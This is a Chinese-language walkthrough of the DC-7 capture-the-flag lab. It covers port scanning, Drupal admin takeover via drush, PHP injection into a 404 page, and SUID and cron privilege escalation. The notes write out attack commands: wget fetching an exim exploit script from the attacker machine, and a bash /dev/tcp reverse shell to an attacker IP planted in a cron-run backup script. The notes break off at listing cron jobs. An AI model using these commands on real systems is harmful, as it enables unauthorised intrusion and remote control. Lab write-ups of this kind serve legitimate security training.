kali:192.168.78.131
DC-7:192.168.78.142
扫描存活主机和开放端口
ifconfig
nmap -sP 192.168.78.0/24
nmap -p 1-65535 -A -sV 192.168.78.142
访问80端口
又是这个框架,这个系列遇到很多次了
其实再前面我们使用NMAP命令的时候已经对80端口做了域名扫描,这里就不再使用dirseach扫描
不行没办法,整个框架被修改过业务,并没有存在像DC8一样的sql注入
回过头再来看看提示:
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. :-)
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box. :-)
译文:
DC-7引入了一些“新”概念,但我将留给您去弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸暴力或字典攻击,你可能不会成功。
你必须做的是跳出框框思考。
“在”盒子外面。:-)
很明显告诉我们了这个是被修改过的,很难受。
百度一下?@DC7USER
目测是框架源码?
目测是需要我代码审计?当场愣住
最后在config.php中发现账户和密码
尝试半天登录不了
find / -perm -u=s -type f 2>/dev/null
奇了怪了 ,这里居然不能查询,很是诧异
回到当前目录下,发现新的提示:
查看一下mail
发现database存储的位置,还是刚才的backups目录,
直接查看会乱码
查看backups.sh权限
发现一个写入权限
补充知识点,ls-al 的命令列内容依次是:
没有权限啊这里
再看一下backups.sh的内容:
修改密码:
drush user-password admin --password="123456"
登录admin,登录成功之后可以像DC8一样添加PHP代码反弹shell,但是这里缺少PHP,所以需要自己先下载
添加url后下载成功,勾选PHP
即可添加成功,然后再页面里面编辑,直接反弹shell
发现写不进去,然后跟着其他作者WP知道了原因
I’d gone through this exercise a couple of times and it seemed that on the first instance of selecting preview, I did not get PHP to render. Perhaps we need to change the Text format in advance of entering PHP or maybe it’s just this particular install being buggy. Just pointing that out in case it doesn’t work the first time around.
我已经做了几次这个练习,似乎在选择preview的第一个实例中,我没有让PHP进行渲染。也许我们需要在进入PHP之前更改文本格式,或者可能只是这个特定的安装有问题。如果第一次不起作用,就指出这一点。
解决方案:不在basic page里面插入php代码,在其他页面插入就好了
这里我选择了一个404页面
python -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
发现exim的SUID权限,类似昨天打的DC-8系列,还是接着走一遍提权过程
exim --version
searchsploit exim
发现合适的版本,将脚本复制到本地,然后转换成unix格式(linux脚本在windows下有时不可用)
第一个方法:在命令模式下:
:set ff =unix
第二个方法:将格式直接转换成unix格式
dos2unix 46996.sh #将文件转换成unix格式
接下来下载sh脚本即可,最简单的开放一个端口 wget下载
python -m SimpleHTTPServer 8000
wget http://192.168.78.131:8000/46996.sh
加权限,运行脚本
chmod +x 46996.sh
./46996.sh -m netcat
emmm,一顿操作猛如虎,结果不能提权,出错了,欸
去查看sh的权限
权限拉满
root表示文件拥有者
www-data表示文件所在组的权限#当前就是www用户,所以操作拉满
最后一个表示其他用户的权限
补充一个小知识:
groups xxx(用户名称) 可以查看自己所在组成员用户
我这里VI编辑的话,会出现以下问题:
所以换个方法写入到脚本里面
echo "bash -i >& /dev/tcp/192.168.28.133/2333 0>&1 "
写入并成功查看页面
ls -l /etc/cron*